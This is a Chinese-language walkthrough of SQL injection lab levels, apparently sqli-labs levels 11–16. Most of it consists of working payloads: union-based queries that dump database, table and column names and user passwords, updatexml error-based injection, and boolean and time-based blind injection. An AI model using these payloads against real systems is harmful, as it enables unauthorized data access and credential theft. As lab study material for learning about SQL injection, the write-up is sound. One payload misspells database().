猜注入点
先来猜数字型
单引号字符型:
发现注入点找到了
猜测数据库有多少个字段:
1' order by 4 #
密码随便输的。
这里没有使用--+注释,因为没作用,可能是过滤掉了
继续猜。刚才没猜对
1' order by 2 #
没报错,猜对了。列数有两栏
查询数据库名称:
1' union select 1,databse() #
查询表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security' #
字段名:
1'union select 1,group_concat(id,0x3a,username,0x3a,password) from users #
12关:
测试得出注入点为")
操作和之前一样
13关:
猜测得出注入点为')
这关有点不太一样
1') union select 1,2 #
发现没结果
再来看看有没有报错信息
看来还是有错误信息的,如果没有错误信息在考虑时间盲注
数据库名:
1') and updatexml(1,concat(0x7e,(select database())),3)#
爆破数据表名:
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3)#
数据字段名:
1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)#
字段值:
1') and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users)),3)#
第14关:
猜测得出注入点 "
然后操作跟之前一样
第15关:
测试了半天页面都没反应,说明没结果返回,不能使用报错注入了
首先可以结合联合查询猜
1' union select 1#
1' union select 1,2#
在数据库后面执行的代码:
SELECT username, password FROM users WHERE username='a' union select 1,2 #
猜数据库长度(结合布尔盲注)
因为我们观察到页面是有变化的。所以可行
a' or length(database())=8#
这是猜测后的结果
如果猜错了:
a' or length(database())>8#
其他的也可以这样猜,比如第一个字符
猜第一个字符是什么(结合时间盲注):
a' union select 1,2 and if(length(database())=8,sleep(3),0)#
第16关
这一关和十五关用的方法一样,只不过注入点换成了 ") 。
1") union select 1,2#